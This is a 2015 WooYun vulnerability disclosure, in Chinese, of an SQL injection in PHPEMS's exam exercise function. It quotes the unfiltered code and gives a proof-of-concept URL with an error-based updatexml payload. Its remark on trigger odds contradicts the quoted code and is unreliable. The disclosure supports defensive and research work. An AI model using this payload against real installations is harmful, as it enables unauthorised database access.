当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100990

漏洞标题:PHPEMS一处SQL注入漏洞

相关厂商:PHPEMS

漏洞作者: 路人甲

提交时间:2015-03-12 18:49

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-12: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

PHPEMS一处SQL注入漏洞

详细说明:

6.phpems某处存在SQL注入漏洞
存在注入漏洞的代码位置是/app/exam/app.php的exercise()函数中
具体代码在靠后的位置928行左右
$questionids = $this->question->selectQuestionsByKnows($args['knowsid'],$args['number'],$dt);//SQL注入漏洞
这里的参数$args['knowsid']
回溯898行$args = $this->ev->get('args');可以从URL控制
然后进入函数
public function selectQuestionsByKnows($knowsid,$qt)
{
$knowsids = $knowsid;
foreach($qt as $key => $t)
{
$par = 0;
if(!$par)
{
$par++;
$trand = rand(1,4);
if($trand < 3)
{
$qrs = $this->getRandQuestionRowsList(array("quest2knows.qkknowsid IN ({$knowsids})","questionrows.qrtype = '{$key}'","questionrows.qrnumber <= '{$t}'"));
if(count($qrs))
{
$qrid = $qrs[array_rand($qrs,1)];
$questionrow[$key][] = $qrid;
$qr = $this->exam->getQuestionRowsByArgs("qrid = '{$qrid}'");
$t = intval($t - $qr['qrnumber']);
}
没有经过过滤,直接参与组成语句执行!验证之
注册用户登录之访问如下链接
localhost/ems/index.php?exam-app-exercise&setExecriseConfig=1&args[knowsid]=1,updatexml(1,user(),1)&args[number][1]=2

bbb.png


OK!没有任何问题!值得一说的,在执行过程中,里面有个函数放了一个rand(1,4)只有返回结果大于3才能触发这个漏洞,所以如果一次没有触发,可以多次刷新验证,理论上,75%的首次刷出率,哈哈

漏洞证明:

注册用户登录之访问如下链接
localhost/ems/index.php?exam-app-exercise&setExecriseConfig=1&args[knowsid]=1,updatexml(1,user(),1)&args[number][1]=2

bbb.png


OK!没有任何问题!值得一说的,在执行过程中,里面有个函数放了一个rand(1,4)只有返回结果大于3才能触发这个漏洞,所以如果一次没有触发,可以多次刷新验证,理论上,75%的首次刷出率,哈哈

修复方案:

严格过滤参数吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝